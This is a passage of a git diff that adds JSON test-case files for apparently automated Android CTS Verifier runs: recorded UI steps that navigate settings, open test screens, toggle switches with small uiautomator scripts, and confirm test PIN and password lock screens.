Button\",\"actionId\":\"123ba8a8-4939-489f-8f4b-34ad391d02a6\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"d02bc1a4-deb7-4400-8945-5506756ecec4\",\"e7825377-ca80-46fb-8dfb-154c58c5721f\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"c3ec4403-51f1-412e-b4a7-99d63a0fb766\",\"a4bc9c9f-9a27-4cdf-a23a-45898e3ec902\",\"433f83fc-58c0-4a9b-90b3-659134369779\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"a8654e62-1848-461b-9949-a5e1af28136b\",\"34fffbad-5fb7-4714-80d8-df36b76fa7a2\",\"123ba8a8-4939-489f-8f4b-34ad391d02a6\",\"b17bcc33-34e0-4aba-a8ce-080ea0d0846c\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-13-Trusted CA certs","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.187000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/645e8103-d449-40d0-abba-6d734e783792 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/645e8103-d449-40d0-abba-6d734e783792
new file mode 100644
index 0000000..a0b6732
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/645e8103-d449-40d0-abba-6d734e783792
@@ -0,0 +1 @@
+{"uuid":"645e8103-d449-40d0-abba-6d734e783792","details":"{\"type\":\"CompoundAction\",\"name\":\"Enable calling account\",\"actionId\":\"645e8103-d449-40d0-abba-6d734e783792\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, All calling accounts\",\"actionId\":\"d2f62d52-4cd2-42bb-bd4d-a43529f08566\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"All calling accounts\"},{\"type\":\"PythonScriptAction\",\"name\":\"Enable calling account for CTS-V Test\",\"actionId\":\"a6948aff-2e2b-4684-9ca3-6c7b0a3a8324\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"CTS Verifier Test\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"CTS Verifier Test\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"d2f62d52-4cd2-42bb-bd4d-a43529f08566\",\"a6948aff-2e2b-4684-9ca3-6c7b0a3a8324\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enable calling account","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.278000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/64db6b9d-caaa-442f-840a-80ef16030e55 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/64db6b9d-caaa-442f-840a-80ef16030e55
new file mode 100644
index 0000000..ff094e3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/64db6b9d-caaa-442f-840a-80ef16030e55
@@ -0,0 +1 @@
+{"uuid":"64db6b9d-caaa-442f-840a-80ef16030e55","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn on Multiple users switch bar\",\"actionId\":\"64db6b9d-caaa-442f-840a-80ef16030e55\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Turn on Multiple users switch bar\",\"actionId\":\"220796a3-211d-4c23-b70c-0cd9cfaec36e\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nif d.text(\\\"Off\\\").right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"Off\\\").right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"220796a3-211d-4c23-b70c-0cd9cfaec36e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn on Multiple users switch bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.082000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/65349586-080c-4006-843f-5d5d8b9e9cd9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/65349586-080c-4006-843f-5d5d8b9e9cd9
new file mode 100644
index 0000000..606490e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/65349586-080c-4006-843f-5d5d8b9e9cd9
@@ -0,0 +1 @@
+{"uuid":"65349586-080c-4006-843f-5d5d8b9e9cd9","details":"{\"type\":\"CompoundAction\",\"name\":\"test_6DoF Test\",\"actionId\":\"65349586-080c-4006-843f-5d5d8b9e9cd9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"ScrollScreenContentValidationAction\",\"actionId\":\"15e13135-a453-4f05-9c3d-e8ce3503435e\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"6DoF Test\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8f54178b-cc86-4270-833a-0e39f7988109\",\"displayText\":\"6DoF Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"6DoF Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":260.6666666666667,\"x2\":350.6666666666667,\"y2\":304.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":48.5,\"y\":279.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":131.5,\"y\":3.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"8f54178b-cc86-4270-833a-0e39f7988109\",\"firstText\":\"6DoF Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"6DoF Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":88.0,\"y1\":287.0,\"x2\":9.0,\"y2\":271.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, 6DoF Test\",\"actionId\":\"6ee1f425-30a2-4b8f-b6eb-ae6ca16b2293\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"6DoF Test\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"15e13135-a453-4f05-9c3d-e8ce3503435e\",\"6ee1f425-30a2-4b8f-b6eb-ae6ca16b2293\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_6DoF Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.270000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/658953ad-c875-417b-87a1-5c75ca2fff86 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/658953ad-c875-417b-87a1-5c75ca2fff86
new file mode 100644
index 0000000..82e1f0d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/658953ad-c875-417b-87a1-5c75ca2fff86
@@ -0,0 +1 @@
+{"uuid":"658953ad-c875-417b-87a1-5c75ca2fff86","details":"{\"type\":\"CompoundAction\",\"name\":\"Confirm Password lock \\\"a1688\\\"\",\"actionId\":\"658953ad-c875-417b-87a1-5c75ca2fff86\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Re-enter your password screen appear\",\"actionId\":\"5ebc072d-4efd-41f4-ad7f-48ebcc50d8b6\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Re-enter your password\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0439c392-bf28-4f0c-8e84-303e498db2bd\",\"displayText\":\"Re-enter your password\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"b93eb32e-06f2-46da-9953-1b06ffadb59e\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/sud_layout_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":166.0,\"y1\":97.33333333333333,\"x2\":194.0,\"y2\":125.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"a8aaf591-d7d1-4b5c-802d-a39295bf3028\",\"displayText\":\"Re-enter your password\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/suc_layout_title\",\"text\":\"Re-enter your password\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":139.33333333333334,\"x2\":339.0,\"y2\":167.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.5,\"y\":4.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Re-enter your password\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/sud_layout_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":48.333333333333336,\"x2\":360.0,\"y2\":169.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":181.5,\"y\":149.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.5,\"y\":-40.66666666666666,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"a8aaf591-d7d1-4b5c-802d-a39295bf3028\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Re-enter your password\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":66.0,\"y1\":134.0,\"x2\":297.0,\"y2\":165.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enter key\",\"actionId\":\"eabfece7-30c2-4572-a215-0fb5ed13aca6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.inputmethod.latin:id/key_pos_ime_action\"}],\"childrenIdList\":[\"5ebc072d-4efd-41f4-ad7f-48ebcc50d8b6\",\"c9423320-3e9d-40ed-8a84-957a48931121\",\"eabfece7-30c2-4572-a215-0fb5ed13aca6\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Confirm Password lock \"a1688\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.269000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/67230d49-da52-4a23-a712-504be0de8619 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/67230d49-da52-4a23-a712-504be0de8619
new file mode 100644
index 0000000..ca6d62c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/67230d49-da52-4a23-a712-504be0de8619
@@ -0,0 +1 @@
+{"uuid":"67230d49-da52-4a23-a712-504be0de8619","details":"{\"type\":\"CompoundAction\",\"name\":\"Confirm PIN lock \\\"1688\\\"\",\"actionId\":\"67230d49-da52-4a23-a712-504be0de8619\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Re-enter your PIN screen appear.\",\"actionId\":\"0ec07507-47ca-4bfa-97c9-fe469065d8c1\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Re-enter your PIN\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3c983204-3d01-4557-89e8-b6ec545d89a7\",\"displayText\":\"Re-enter your PIN\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"61c9bc6c-c4e9-4be3-8671-909f87f3e9a4\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/sud_layout_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":166.0,\"y1\":97.33333333333333,\"x2\":194.0,\"y2\":125.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"0971d62e-1285-4f41-8dfe-91355ab0bfbd\",\"displayText\":\"Re-enter your PIN\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/suc_layout_title\",\"text\":\"Re-enter your PIN\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":139.33333333333334,\"x2\":339.0,\"y2\":167.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.0,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Re-enter your PIN\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/sud_layout_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":48.333333333333336,\"x2\":360.0,\"y2\":169.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":186.0,\"y\":152.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.0,\"y\":-43.16666666666666,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"0971d62e-1285-4f41-8dfe-91355ab0bfbd\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Re-enter your PIN\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":81.0,\"y1\":146.0,\"x2\":291.0,\"y2\":158.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enter key\",\"actionId\":\"0922b91e-7cb2-4890-aa70-3501979e7503\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.inputmethod.latin:id/key_pos_ime_action\"}],\"childrenIdList\":[\"0ec07507-47ca-4bfa-97c9-fe469065d8c1\",\"8373f761-9983-4688-b193-59c4bc7a9bd3\",\"0922b91e-7cb2-4890-aa70-3501979e7503\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Confirm PIN lock \"1688\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.269000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/675d3384-df03-4693-9846-646f622b5ce0 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/675d3384-df03-4693-9846-646f622b5ce0
new file mode 100644
index 0000000..9a4f566
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/675d3384-df03-4693-9846-646f622b5ce0
@@ -0,0 +1 @@
+{"uuid":"675d3384-df03-4693-9846-646f622b5ce0","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if set PIN screen appear, set PIN to \\\"14725836\\\"\",\"actionId\":\"675d3384-df03-4693-9846-646f622b5ce0\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Set PIN screen appear\",\"actionId\":\"ba624a5f-0cd2-42b1-baa3-98cf9f44016b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"For security, set PIN\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c2c7073f-45cb-491e-baf9-571ff5a5e49a\",\"displayText\":\"For security, set PIN\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/sud_layout_description\",\"text\":\"For security, set PIN\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":172.0,\"x2\":339.0,\"y2\":211.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":183.0,\"y\":184.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.0,\"y\":7.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"c2c7073f-45cb-491e-baf9-571ff5a5e49a\",\"firstText\":\"For security, set PIN\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"For security, set PIN\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":107.0,\"y1\":173.0,\"x2\":259.0,\"y2\":195.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"f08ac9de-60ea-412d-9d31-a725a8e3f6b9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"b4e71ff9-cecf-4ae8-8fed-6a04aea9b7c0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"ba624a5f-0cd2-42b1-baa3-98cf9f44016b\",\"af677fa8-0e4c-4c4e-9159-f91129b44e83\",\"f08ac9de-60ea-412d-9d31-a725a8e3f6b9\",\"af677fa8-0e4c-4c4e-9159-f91129b44e83\",\"b4e71ff9-cecf-4ae8-8fed-6a04aea9b7c0\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if set PIN screen appear, set PIN to \"14725836\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.263000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/68095495-91a4-402d-a763-6e7ff7427531 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/68095495-91a4-402d-a763-6e7ff7427531
new file mode 100644
index 0000000..31c9ea1
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/68095495-91a4-402d-a763-6e7ff7427531
@@ -0,0 +1 @@
+{"uuid":"68095495-91a4-402d-a763-6e7ff7427531","details":"{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"ring\\\", \\\"vibration\\\" setting is hidden\",\"actionId\":\"68095495-91a4-402d-a763-6e7ff7427531\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"$uicd_telephony_settings_in_voicemail_vibr\"},{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"$uicd_telephony_settings_in_voicemail_ring\"},{\"field\":\"text\",\"operator\":\"!=\",\"value\":\"$uicd_telephony_settings_in_voicemail_noti\"}]},\"clickAfterValidation\":false}","name":"Check if \"ring\", \"vibration\" setting is hidden","type":"ConditionValidationAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.280000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/696f0a59-5696-49f9-8573-34cfc71c3c61 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/696f0a59-5696-49f9-8573-34cfc71c3c61
new file mode 100644
index 0000000..f64445e1
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/696f0a59-5696-49f9-8573-34cfc71c3c61
@@ -0,0 +1 @@
+{"uuid":"696f0a59-5696-49f9-8573-34cfc71c3c61","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify that the bubble is removed from the screen\",\"actionId\":\"696f0a59-5696-49f9-8573-34cfc71c3c61\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if the bubble is removed from the screen\",\"actionId\":\"22aeeb7c-0dde-460a-b5e2-8f97900ee473\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/bubble_view\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"22aeeb7c-0dde-460a-b5e2-8f97900ee473\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify that the bubble is removed from the screen","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.226000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/69b2597b-78ef-450d-975a-d5bef105c512 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/69b2597b-78ef-450d-975a-d5bef105c512
new file mode 100644
index 0000000..8d14bb8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/69b2597b-78ef-450d-975a-d5bef105c512
@@ -0,0 +1 @@
+{"uuid":"69b2597b-78ef-450d-975a-d5bef105c512","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Car Dock Test\",\"actionId\":\"69b2597b-78ef-450d-975a-d5bef105c512\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Car Dock Test\",\"actionId\":\"ede1fec6-3722-4ba4-bd3b-b10fed890a69\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Car Dock Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0cc10636-1a9c-451a-99ee-1aa6b393f3e4\",\"displayText\":\"Car Dock Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Car Dock Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":357.0,\"x2\":350.6666666666667,\"y2\":401.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":67.0,\"y\":378.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":113.0,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"0cc10636-1a9c-451a-99ee-1aa6b393f3e4\",\"firstText\":\"Car Dock Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Car Dock Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":363.0,\"x2\":127.0,\"y2\":394.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Car Dock Test\",\"actionId\":\"245c8878-f235-47ac-b6ff-475121d72d92\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Car Dock Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, 